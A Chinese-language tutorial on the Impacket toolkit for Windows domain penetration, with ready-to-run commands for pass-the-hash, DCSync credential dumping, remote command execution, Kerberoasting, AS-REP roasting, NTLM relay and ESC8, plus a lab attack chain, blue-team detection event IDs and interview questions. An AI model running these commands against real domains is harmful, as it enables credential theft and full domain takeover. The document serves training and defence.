☰
Impacket 工具套件完整实战|内网域渗透必备工具详解
2026/10/14 1:59:08 网站建设 项目流程

🔒免责声明:本文所有技术内容,仅用于授权渗透测试、红蓝对抗、安全学习研究。严禁在没有书面授权的内网、企业域环境执行哈希传递、DCSync、远程命令执行等操作,未授权访问 Windows 活动目录系统属于违法行为。全部实操案例均在自建靶场完成,请勿直接复制命令到生产环境执行。

目录

    • 1. 前言:Impacket 是什么,为什么内网渗透离不开 Impacket
    • 2. Impacket 环境安装与基础语法、四种认证模式详解
      • 2.1 安装方式
      • 2.2 Impacket 通用命令格式
      • 2.3 Impacket 支持 4 种认证方式(重中之重)
        • 方式 1:明文密码认证
        • 方式 2:Pass‑the‑Hash 哈希传递 `-hashes LMHASH:NTHASH`
        • 方式 3:Kerberos AES 密钥认证 `-aesKey`
        • 方式 4:Pass‑the‑Ticket 票据传递,ccache 文件
      • 2.4 公共高频参数
    • 3. 核心模块一:凭证导出工具
      • 3.1 secretsdump.py(Impacket 王牌工具)
        • 场景 1:dump 普通 Windows 单机,导出 SAM、LSA
        • 场景 2:DCSync 域控导出全域凭证(最经典用法)
        • 场景 3:配合 ccache 票据,票据传递 DCSync
      • 3.2 samrdump.py
    • 4. 核心模块二:横向移动远程执行脚本全家桶
      • 4.1 psexec.py(对标微软 Sysinternals PsExec)
      • 4.2 wmiexec.py(实战最常用,优先推荐)
      • 4.3 smbexec.py
      • 4.4 atexec.py 计划任务远程执行
      • 4.5 dcomexec.py DCOM 组件执行
    • 5. 核心模块三:Kerberos 全套攻击脚本
      • 5.1 GetTGT.py 获取 TGT 票据,输出 ccache 文件
      • 5.2 GetST.py 获取 TGS 服务票据
      • 5.3 GetUserSPNs.py Kerberoasting(烤土豆,服务票据离线爆破)
      • 5.4 GetNPUsers.py AS‑REP Roasting
      • 5.5 gettgtpkinit.py PKINIT 证书获取 TGT
    • 6. 核心模块四:信息枚举工具集
      • 6.1 lookupsid.py SID 暴力枚举
      • 6.2 net.py 域信息查询工具
      • 6.3 rpcdump.py RPC 接口枚举
      • 6.4 smbclient.py SMB 交互客户端
    • 7. 核心模块五:NTLM 中继 ntlmrelayx.py 实战
      • 7.1 SMB 中继基础示例
      • 7.2 ESC8 AD‑CS 证书 Web 注册中继(高频红队场景)
    • 8. 完整靶场实战链路:普通域账号从信息收集到 DCSync 完整流程
    • 9. Impacket 高频报错、坑点与排错方案
      • 9.1 STATUS_LOGON_FAILURE 登录失败
      • 9.2 KRB_AP_ERR_MODIFIED kerberos 报错
      • 9.3 Kerberos clock skew 时钟偏差
      • 9.4 psexec 执行失败,访问 admin$ 拒绝
      • 9.5 wmiexec.py 连接超时
      • 9.6 DCSync 报错拒绝访问
    • 10. 红队实战选型:不同场景该选哪一个脚本?
    • 11. 蓝队视角:Impacket 攻击行为日志检测、狩猎规则
      • 关键 Windows 安全事件 ID
      • SIEM 狩猎规则思路
    • 12. Impacket 面试高频考点整理
    • 13. 全文总结
    • 如何系统学习网络安全?
      • 一、网络安全(黑客)学习路线
      • 二、网络安全教程视频
      • 三、网络安全CTF实战案例
      • 四、网络安全面试题

摘要
Impacket 是基于 Python 开发的网络协议库,内置大量域渗透脚本,是内网渗透、红蓝对抗中最基础、最高频的工具集。它实现 SMB、RPC、WMI、LDAP、Kerberos、DRSUAPI 等 Windows 核心协议,支持 Linux 攻击机直接操作 Windows 域环境,完成信息收集、哈希传递、远程命令执行、凭证导出、Kerberos 票据攻击、NTLM 中继、DCSync 域控数据导出等全套操作。很多安全人员只会简单使用 psexec.py、secretsdump.py,却不理解底层协议、各个脚本之间的适用场景、坑点与流量特征。

本文从 Impacket 原理、环境部署出发,按照功能模块拆解全部高频脚本:凭证导出类、远程执行横向移动类、Kerberos 票据攻击类、信息枚举类、NTLM 中继攻击类;附带大量实战命令,区分明文、哈希、AES 密钥、ccache 票据四种认证方式;完整复现一套域渗透链路,总结常见报错排错,对比各个横向脚本检测特征;补充蓝队检测狩猎规则,整理面试高频考点。读完本文可以彻底吃透 Impacket 套件,同时也可以作为蓝队分析 Impacket 攻击行为的参考手册。

MITRE ATT&CK 映射:T1003.001 SAM 凭证获取,T1003.006 DCSync,T1021.002 SMB 远程服务,T1021.003 WMI,T1550.002 Pass‑the‑Hash 哈希传递,T1550.003 Pass‑the‑Ticket 票据传递,T1558 Kerberos 票据滥用,T1557 NTLM 中继。

1. 前言:Impacket 是什么,为什么内网渗透离不开 Impacket

Impacket 是 SecureAuth(原 Core Security)开源的 Python 网络协议库,它重新实现 Windows 很多专有协议,不需要依赖 Windows 系统,在 Linux(Kali)攻击机上就可以完整和域内 Windows 主机交互。

很多人会混淆:Impacket 本身不是漏洞利用工具,它只是协议实现,攻击行为来自协议本身设计特性(NTLM 哈希传递、DRSUAPI 复制 AD 数据、Kerberos 协议特性)。

Impacket 在红队当中地位:

  1. 跨平台,Linux 攻击机直接打 Windows 域,不需要 Windows 虚拟机;
  2. 支持多种认证:明文密码、NTLM Hash、AES256 密钥、Kerberos ccache 票据;
  3. 覆盖域渗透全流程:信息收集→横向移动→凭证 dump→票据攻击→中继攻击;
  4. 开源透明,所有流量可以抓包分析;Certipy、krbrelayx 很多知名工具底层都依赖 Impacket 库。

误区纠正:
①Impacket 不是病毒,属于安全研究工具,攻击者只是滥用工具能力;
②不是所有脚本都需要 445 端口,wmiexec 依赖 135 端口;
③DCSync 不是漏洞,是域控 DRSUAPI 协议本身功能,只要账号拥有域复制权限,就可以调用。

2. Impacket 环境安装与基础语法、四种认证模式详解

2.1 安装方式

kali 新版本自带 python3‑impacket,如果版本老旧,建议 github 源码安装最新版,老版本存在不少 bug。

# 源码安装 git clone https://github.com/fortra/impacket.git cd impacket pip3 install -r requirements.txt python3 setup.py install

执行脚本两种调用方式:

#方式1:examples目录下直接python3执行脚本 python3 examples/secretsdump.py #方式2:kali安装完成之后,可以直接impacket‑xxx调用 impacket‑secretsdump

2.2 Impacket 通用命令格式

脚本名 域名/用户名[:密码]@目标IP [参数]

2.3 Impacket 支持 4 种认证方式(重中之重)

方式 1:明文密码认证
python3 secretsdump.py corp.com/administrator:Admin@123@192.168.10.10
方式 2:Pass‑the‑Hash 哈希传递-hashes LMHASH:NTHASH

LM 哈希大部分环境为空,格式写成:NTHASH,前面冒号不能省略!

# LM为空,只填写NT hash wmiexec.py corp.com/administrator@192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71

格式错误是新手最高频报错,千万不要漏掉前面冒号。

方式 3:Kerberos AES 密钥认证-aesKey

当拿到用户 AES128/AES256 密钥,不用明文不用 NTLM 哈希,使用 AES 密钥申请 TGT 票据,流量更加隐蔽。

gettgt.py corp.com/administrator@192.168.10.10 -aesKey 45b1a450637fa42044cc2d9a2f882039xxxxxxx
方式 4:Pass‑the‑Ticket 票据传递,ccache 文件

Impacket 读取环境变量KRB5CCNAME加载 kerberos ccache 票据,不需要账号密码。

export KRB5CCNAME=administrator.ccache python3 wmiexec.py -k corp.com/administrator@dc01.corp.com

使用票据模式,尽量填写主机 FQDN 域名,不要直接填 IP,Kerberos 协议不支持 IP 作为 SPN,直接填 IP 大概率报错KRB_AP_ERR_MODIFIED。

2.4 公共高频参数

参数说明
‑dc‑ip x.x.x.x指定域控制器 IP,域环境必备,用于 LDAP、Kerberos 解析
‑k开启 kerberos 认证,读取 KRB5CCNAME 票据
‑no‑pass账号无密码场景
‑outputfile xxx输出结果保存文件

3. 核心模块一:凭证导出工具

3.1 secretsdump.py(Impacket 王牌工具)

功能:远程 dump 目标主机 SAM、LSA Secrets、缓存域凭证;如果目标是域控,直接调用 DRSUAPI 协议执行 DCSync 导出域全部账号哈希,不需要登录目标机器,网络远程完成。

权限要求:本地管理员权限;DCSync 需要账号拥有DS‑Replication‑Get‑Changes权限。

场景 1:dump 普通 Windows 单机,导出 SAM、LSA
#明文 secretsdump.py corp.com/administrator:Admin@123@192.168.10.20 #哈希传递pt‑h secretsdump.py corp.com/administrator@192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71

输出内容:本地用户 NTLM 哈希、LSA Secrets 里面存储的服务账号密码、缓存的域登录凭证。

场景 2:DCSync 域控导出全域凭证(最经典用法)

不需要登录域控主机,网络调用 DRSUAPI 复制 AD 数据。

#导出域内全部账号 secretsdump.py corp.com/administrator:Admin@123@192.168.10.10 #只导出krbtgt账号hash,制作黄金票据 secretsdump.py corp.com/administrator:Admin@123@192.168.10.10 -just‑dc‑user krbtgt

重要知识点:DCSync 是协议原生功能,不是漏洞;只要账号拥有复制目录权限就可以执行,会产生 4662 目录访问事件 ID,蓝队重点监控该日志。

场景 3:配合 ccache 票据,票据传递 DCSync
export KRB5CCNAME=admin.ccache secretsdump.py -k corp.com/administrator@dc01.corp.com -dc‑ip 192.168.10.10

3.2 samrdump.py

通过 SAMR 协议,读取 SMB 服务,枚举本地用户列表,读取 SAM 账号信息。权限要求不高,不一定需要管理员权限。

samrdump.py corp.com/user:Password123@192.168.10.20

多用于内网信息探测,获取目标本地用户名清单。

4. 核心模块二:横向移动远程执行脚本全家桶

这一组脚本是红队横向移动主力,全部支持明文、哈希传递、kerberos 票据认证。每个脚本底层协议、端口、行为痕迹、检测特征完全不一样,实战需要根据环境防火墙策略选择合适脚本。

脚本底层协议端口执行原理痕迹特点
psexec.pySMB445上传临时 exe 到 ADMIN$ 共享,创建系统服务执行命令,执行完删除服务文件痕迹重,会写磁盘,大量 EDR 重点监控
wmiexec.pyWMI135 + 动态 DCOM 端口调用 WMI 接口执行命令,输出读取共享不落地文件,红队优先选择,防火墙放行 135 可用
smbexec.pySMB445写 bat 到 ADMIN$,服务启动执行,无临时 exe,只有批处理不生成 exe,但是会写入 bat 脚本
atexec.pyRPC Schedule 任务135远程创建计划任务执行命令,执行后删除任务创建计划任务,日志会记录计划任务事件
dcomexec.pyDCOM 对象135调用 DCOM COM 对象执行命令利用 COM 组件,部分环境可绕过 WMI 拦截

4.1 psexec.py(对标微软 Sysinternals PsExec)

原理:连接 admin$ 共享,上传 RemComSvc 临时可执行文件,注册 Windows 服务,服务启动以 SYSTEM 权限执行命令,完成后删除服务和文件。

缺点:写入 exe 到磁盘,现代 EDR、Defender 很容易拦截;很多企业防护直接阻断 psexec 行为。

#明文交互shell psexec.py corp.com/administrator:Admin@123@192.168.10.20 #哈希传递,单条命令执行,不进入交互shell psexec.py corp.com/administrator@192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71 "whoami /all"

坑点:部分环境删除临时服务失败,目标机器会残留 RemComSvc 服务项。

4.2 wmiexec.py(实战最常用,优先推荐)

基于 WMI 协议执行命令,不会向磁盘写入 exe 程序。命令执行输出通过 SMB 共享读取回来,不需要落地文件,痕迹相比 psexec 轻很多。端口依赖:135 端口开放,并且 DCOM 动态端口没有被防火墙拦截。

#获取交互式shell wmiexec.py corp.com/administrator:Admin@123@192.168.10.20 #哈希传递执行单条命令 wmiexec.py corp.com/administrator@192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71 "ipconfig /all" #kerberos票据模式 export KRB5CCNAME=admin.ccache wmiexec.py -k corp.com/administrator@pc01.corp.com

坑:如果防火墙拦截 135 端口,wmiexec 直接无法使用;WMI 服务关闭也会失败。

4.3 smbexec.py

区别 psexec:不上传 exe,把命令写入临时 bat 批处理脚本放到 admin$ 共享,通过服务启动执行脚本,执行完毕删除 bat 文件。磁盘只会留下 bat 而不是 exe,规避部分针对 exe 的检测。

smbexec.py corp.com/administrator:Admin@123@192.168.10.20

4.4 atexec.py 计划任务远程执行

调用 Schedule 服务 RPC 接口,远程创建临时计划任务执行命令,执行完毕自动删除任务。Windows 日志会记录计划任务创建、运行事件。

atexec.py corp.com/administrator:Admin@123@192.168.10.20 "systeminfo"

适合 445 封禁但是 135RPC 放行的环境。

4.5 dcomexec.py DCOM 组件执行

调用 Windows DCOM COM 对象(ShellWindows、ShellBrowserWindow)实现命令执行,不依赖 WMI 服务,当 WMI 被安全软件禁用时,可以尝试该脚本。

dcomexec.py corp.com/administrator:Admin@123@192.168.10.20

横向移动实战选型总结:

  1. 135 端口放行 → 优先 wmiexec.py;
  2. 135 被防火墙拦截,445 开放 → smbexec.py;
  3. WMI 服务异常 → dcomexec.py/atexec.py;
  4. psexec.py 尽量少用,红蓝对抗极易触发告警。

5. 核心模块三:Kerberos 全套攻击脚本

Impacket 完整实现 Kerberos 客户端,TGT、TGS 申请,Kerberoasting,AS‑REP Roasting,PKINIT 证书认证全部支持,是域内票据攻击基础工具集。

5.1 GetTGT.py 获取 TGT 票据,输出 ccache 文件

输入账号密码 / NTLM hash / AES 密钥,向 KDC 域控申请 TGT 票据,保存为 ccache 文件,用于后续 Pass‑the‑Ticket。

#密码获取TGT GetTGT.py corp.com/lowuser:Password123! -dc‑ip 192.168.10.10 #NTLM hash获取TGT GetTGT.py corp.com/lowuser@dc01.corp.com -hashes :xxxxxxxxxxxxxxxxx -dc‑ip 192.168.10.10 #AES256密钥获取TGT,更隐蔽 GetTGT.py corp.com/lowuser@dc01.corp.com -aesKey xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -dc‑ip 192.168.10.10

运行完成输出lowuser.ccache,设置环境变量即可使用票据。

5.2 GetST.py 获取 TGS 服务票据

向 KDC 申请指定 SPN 的 TGS 服务票据,可用于白银票据相关操作。

#申请cifs/dc01.corp.com服务TGS票据 GetST.py corp.com/lowuser:Password123! -spn cifs/dc01.corp.com -dc‑ip 192.168.10.10

5.3 GetUserSPNs.py Kerberoasting(烤土豆,服务票据离线爆破)

Kerberoasting 攻击:查询域内注册 SPN 的服务账号,请求该账号 TGS 票据,输出可 hashcat 爆破的哈希字符串。拿到 TGS 哈希本地字典爆破,得到服务账号明文密码。

权限:任意普通域用户权限即可执行。

#查询所有SPN,并且请求TGS票据输出hash GetUserSPNs.py corp.com/lowuser:Password123! -dc‑ip 192.168.10.10 -request -outputfile kerberoast_hash.txt

爆破:

hashcat -m 13100 kerberoast_hash.txt rockyou.txt

5.4 GetNPUsers.py AS‑REP Roasting

针对域账号开启Do not require Kerberos preauthentication(不需要预认证),攻击者直接向 KDC 发送 AS‑REQ 拿到 AS‑REP 哈希,本地离线爆破密码。普通域用户就可以扫描域内该类风险账号。

#从用户名字本批量探测 GetNPUsers.py corp.com/ -usersfile userlist.txt -dc‑ip 192.168.10.10 -format hashcat -outputfile asrep_hash.txt

hashcat 模式‑m 18200爆破 AS‑REP 哈希。

5.5 gettgtpkinit.py PKINIT 证书获取 TGT

搭配 AD‑CS 攻击,拿到 pfx 证书之后,使用该脚本,通过 PKINIT 协议,使用证书向 KDC 申请 TGT 票据,输出 ccache 文件。Certipy 底层就是封装这个 Impacket 模块。

gettgtpkinit.py -pfx administrator.pfx corp.com/administrator@dc01.corp.com -dc‑ip 192.168.10.10

黄金票据、白银票据 Impacket 已经不再维护,现代红队更多使用 Rubeus 做票据伪造。Impacket 主要用于正常向 KDC 申请真实票据。

6. 核心模块四:信息枚举工具集

6.1 lookupsid.py SID 暴力枚举

通过 SMB 协议,暴力枚举目标主机 SID,获取本地 / 域用户、组 SID,不用凭据也可以部分场景枚举。

lookupsid.py corp.com/lowuser:Password123@192.168.10.20

6.2 net.py 域信息查询工具

Impacket 封装的 ldap 查询工具,可以查询域用户、域组、计算机对象,不用开启 bloodhound,命令行快速收集信息。

#查询域管理员组成员 net.py corp.com/lowuser:Password123!@192.168.10.10 group -name "Domain Admins" #列出域所有计算机对象 net.py corp.com/lowuser:Password123!@192.168.10.10 computer

6.3 rpcdump.py RPC 接口枚举

枚举目标主机开放 RPC 接口,判断有哪些协议服务对外开放,用于内网探测。

rpcdump.py corp.com/lowuser:Password123!@192.168.10.20

6.4 smbclient.py SMB 交互客户端

类似 smbclient 系统命令,基于 impacket 实现,支持哈希传递,浏览、上传、下载 SMB 共享文件。

#哈希传递访问共享 smbclient.py corp.com/administrator@192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71 #交互内命令:ls get put cd

7. 核心模块五:NTLM 中继 ntlmrelayx.py 实战

ntlmrelayx.py 是 Impacket 经典中继工具,监听传入 NTLM 认证请求,把认证中继转发到其他目标主机,实现中继攻击,常用于 SMB 中继、ESC8 AD‑CS 证书中继攻击。

前提条件:目标关闭 SMB 签名,否则中继失败。

7.1 SMB 中继基础示例

监听传入 NTLM,中继到目标机器,dump 凭证:

ntlmrelayx.py -t smb://192.168.10.20 -smb2support

另起终端触发目标回连攻击机 IP,接收对方 NTLM 认证,中继成功之后自动调用 secretsdump dump 目标哈希。

7.2 ESC8 AD‑CS 证书 Web 注册中继(高频红队场景)

中继目标指向 CA 服务器 certsrv http 接口,实现 ESC8 攻击,这个就是 Certipy relay 底层参考原型:

ntlmrelayx.py -t http://192.168.10.10/certsrv -smb2support

配合 PetitPotam 强制域控回连攻击机,域控计算机账号 NTLM 认证被中继到 CA 申请机器证书。

注意:现代环境开启 SMB 强制签名之后,传统 SMB 中继失效。

8. 完整靶场实战链路:普通域账号从信息收集到 DCSync 完整流程

靶场环境:
域corp.com;域控 DC01:192.168.10.10;内网机器 PC01:192.168.10.20;拿到普通域账号 lowuser / Password123!;目标:从普通域账号横向,拿到域管理员凭证,DCSync 导出域全部哈希。

全部操作在授权靶场 Kali 攻击机执行。

步骤 1:信息收集,探测域内 SPN 账号,执行 Kerberoasting

GetUserSPNs.py corp.com/lowuser:Password123! -dc‑ip 192.168.10.10 -request -outputfile spn_hash.txt

本地 hashcat 爆破得到服务账号明文密码。

步骤 2:拿到高权限账号 administrator 密码,使用 wmiexec 横向登录 PC01

wmiexec.py corp.com/administrator:Admin@123@192.168.10.20

成功获取交互式 shell。

步骤 3:利用该管理员账号,远程 DCSync 域控,导出全域账号哈希

secretsdump.py corp.com/administrator:Admin@123@192.168.10.10 -dc‑ip 192.168.10.10

成功导出 krbtgt、所有域用户 NTLM 哈希。

步骤 4:使用 GetTGT,用 administrator 哈希申请 TGT 票据,票据传递模式访问资源

GetTGT.py corp.com/administrator@dc01.corp.com -hashes :58a478135a93ac3bf058a5ea0e8fdb71 -dc‑ip 192.168.10.10 export KRB5CCNAME=administrator.ccache wmiexec.py -k corp.com/administrator@pc01.corp.com

步骤 5:也可以用 secretsdump 加载 ccache 票据执行 DCSync

secretsdump.py -k corp.com/administrator@dc01.corp.com -dc‑ip 192.168.10.10

整条链路完整演示 Impacket 套件不同模块协同工作。

9. Impacket 高频报错、坑点与排错方案

9.1 STATUS_LOGON_FAILURE 登录失败

常见原因:

  1. -hashes参数格式错误,LM 哈希部分前面冒号漏写;正确格式‑hashes :NTHash;
  2. 域名填写错误,单机环境不要写域名;
  3. 账号密码哈希本身错误;
  4. 账号被锁定。

9.2 KRB_AP_ERR_MODIFIED kerberos 报错

原因:使用 IP 地址访问 Kerberos 资源,SPN 使用主机名,IP 不匹配。

解决方案:配置 /etc/resolv.conf DNS,使用主机 FQDN 域名代替 IP 执行脚本。

9.3 Kerberos clock skew 时钟偏差

Kerberos 协议对时间严格,攻击机时间和域控时间相差超过 5 分钟直接认证失败。
解决:kali 同步域控时间rdate ‑n 192.168.10.10。

9.4 psexec 执行失败,访问 admin$ 拒绝

  1. 目标机器防火墙拦截 445;
  2. UAC 远程限制:本地管理员账号从网络登录会被过滤,域管理员不受 UAC 远程限制;
  3. admin$ 共享被组策略禁用。

9.5 wmiexec.py 连接超时

防火墙拦截 135 端口,或者 DCOM 动态端口被拦截;WMI 服务没有运行;更换 atexec、dcomexec 脚本尝试。

9.6 DCSync 报错拒绝访问

账号没有DS‑Replication‑Get‑Changes目录复制权限,普通域用户默认没有该权限,需要域管理员、域控制器账号、被授予复制权限账号才可以执行 DCSync。

很多新手误区:拿到普通域用户直接跑 secretsdump 对域控 DCSync,必然失败。

10. 红队实战选型:不同场景该选哪一个脚本?

  1. 已经拿到本地管理员,端口 445 开放,EDR 宽松:优先smbexec.py,规避 psexec 上传 exe;
  2. 135 端口放行,想尽量降低磁盘痕迹:首选wmiexec.py,红蓝对抗最常用;
  3. WMI 服务异常不可用:尝试dcomexec.py;
  4. 445 被防火墙封禁,135RPC 放行:atexec.py计划任务;
  5. 尽量避免使用psexec.py,写入 exe 文件,EDR/Defender 告警非常高;
  6. 票据传递模式,尽量全部使用 FQDN 主机名,不要写 IP;
  7. DCSync 优先使用 secretsdump,不需要登录域控主机,网络远程完成。

11. 蓝队视角:Impacket 攻击行为日志检测、狩猎规则

Impacket 本身不在目标主机落地任何程序,全部流量来自外部攻击机,所以需要从网络登录事件、对象访问事件进行狩猎检测。

关键 Windows 安全事件 ID

事件 ID含义Impacket 攻击场景
4624成功登录,Logon Type=3 网络登录所有 SMB/WMI/RPC 远程认证,源 IP 来自非业务终端
5145访问网络共享资源psexec/smbexec 访问 ADMIN$ 共享写入文件
4698计划任务创建atexec.py 远程创建计划任务
4662目录对象操作,属性 ID 1131f6aa‑9c07‑11d1‑f79f‑00c04fc2dcd2DCSync 攻击,secretsdump 触发该事件,蓝队最高优先级狩猎
4769TGS_REQ 票据请求Kerberoasting GetUserSPNs 大量 TGS 请求

SIEM 狩猎规则思路

  1. 狩猎 DCSync 行为:事件 4662,操作属性为复制 AD 对象 GUID,源 IP 不是域控机器;
  2. 大量 4769 事件短时间爆发,同一个账号请求大量不同服务 TGS 票据,大概率 Kerberoasting;
  3. 异常外部 IP 产生大量 Logon Type3 登录,访问 admin$ 共享;
  4. 短时间出现大量临时计划任务创建随即删除,警惕 atexec;

防护加固建议:

  1. 域控制器开启 SMB 强制签名,防御 NTLM 中继攻击;
  2. 监控 4662 DRSUAPI 复制操作;
  3. 限制普通域账号不要授予目录复制权限;
  4. 网络层监控外部非可信 IP 对内网 445、135 端口访问;
  5. 审计域账号,关闭不必要账号的 “不需要 Kerberos 预认证” 属性,防御 AS‑REP Roasting。

12. Impacket 面试高频考点整理

  1. secretsdump.py 两种工作模式?
    对普通主机:SMB 远程读取注册表 SAM、LSA Secrets;对域控:调用 DRSUAPI 协议 DCSync 复制活动目录数据导出全域账号哈希。DCSync 不是漏洞,是 AD 原生复制协议,账号拥有目录复制权限即可调用。
  2. pass‑the‑hash 使用 Impacket,‑hashes 参数格式?
    LMHASH:NTHASH;LM 哈希为空,前面冒号不能省略,‑hashes :xxxxxxxxxxxx。
  3. wmiexec、psexec、smbexec、atexec 区别?
    psexec 上传 exe 服务,痕迹最重;wmiexec 基于 WMI135 端口,无落地 exe;smbexec 写入 bat 批处理;atexec 远程创建计划任务执行命令。
  4. GetUserSPNs.py、GetNPUsers.py 分别对应什么攻击?
    GetUserSPNs:Kerberoasting,请求服务账号 TGS 票据离线爆破;GetNPUsers:AS‑REP Roasting,针对关闭预认证账号获取 AS‑REP 哈希爆破。两者普通域用户权限就可以执行。
  5. Impacket kerberos 票据传递,为什么填 IP 经常报错 KRB_AP_ERR_MODIFIED?
    Kerberos SPN 绑定主机 FQDN,不支持 IP 地址,需要使用域名访问,配置 DNS 解析。
  6. ntlmrelayx.py 工作原理,SMB 签名作用?
    接收 NTLM 认证,将认证中继转发到目标服务器;目标开启 SMB 强制签名,SMB 中继直接失效。
  7. DCSync 需要什么权限?
    账号需要DS‑Replication‑Get‑Changes、DS‑Replication‑Get‑Changes‑All权限,域管理员、域控制器账号默认拥有该权限。普通域用户默认没有。
  8. secretsdump 执行 DCSync 是否需要登录域控主机?
    不需要,纯网络调用 DRSUAPI 接口,不需要 SMB 登录域控。
  9. Impacket 四种认证模式分别是什么?
    明文密码、NTLM 哈希传递‑hashes、AES 密钥‑aesKey、ccache 票据传递(KRB5CCNAME 环境变量 +‑k 参数)。
  10. wmiexec 依赖什么端口?
    135 端口,以及 DCOM 动态高位端口;不是 445。

13. 全文总结

Impacket 套件是内网域渗透基石,它实现 Windows 主流网络协议,让 Linux 攻击机完整操作活动目录环境。很多安全人员只会简单复制命令,不理解底层协议,遇到报错无从下手。

  1. 横向移动脚本各有优劣,psexec 痕迹重尽量规避;wmiexec 实战优先;根据防火墙开放端口灵活选择脚本。
  2. secretsdump 是王牌工具,分为 dump 本地凭证和 DCSync 域控复制 AD 数据两种模式;DCSync 不是漏洞,是 AD 复制协议原生功能,蓝队重点监控 4662 事件 ID。
  3. Kerberos 模块:GetUserSPNs(Kerberoasting)、GetNPUsers(AS‑REP Roasting)普通域账号即可执行,拿到哈希本地离线爆破密码。gettgtpkinit 配合 AD‑CS 证书漏洞完成 PKINIT 证书登录。
  4. ntlmrelayx 实现 NTLM 中继攻击,可用于 SMB 中继,也可以用于 ESC8 AD‑CS 证书中继;开启 SMB 强制签名可以防御传统 SMB 中继。
  5. Kerberos 使用票据模式尽量使用 FQDN 域名,攻击机系统时间必须和域控保持同步,否则会认证失败。
  6. 蓝队防御 Impacket 攻击,重点监控网络登录事件、DCSync 目录复制事件、计划任务创建事件,开启 SMB 强制签名,审计账号目录复制权限。
  7. 所有脚本都支持明文、哈希、AES、ccache 票据四种认证方式,熟练切换认证方式是内网渗透必备技能。

再次声明:本文全部技术内容,仅限授权靶场、授权红蓝对抗演练,严禁在没有授权的企业内网执行相关操作。


如何系统学习网络安全?

网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。

构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。

如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询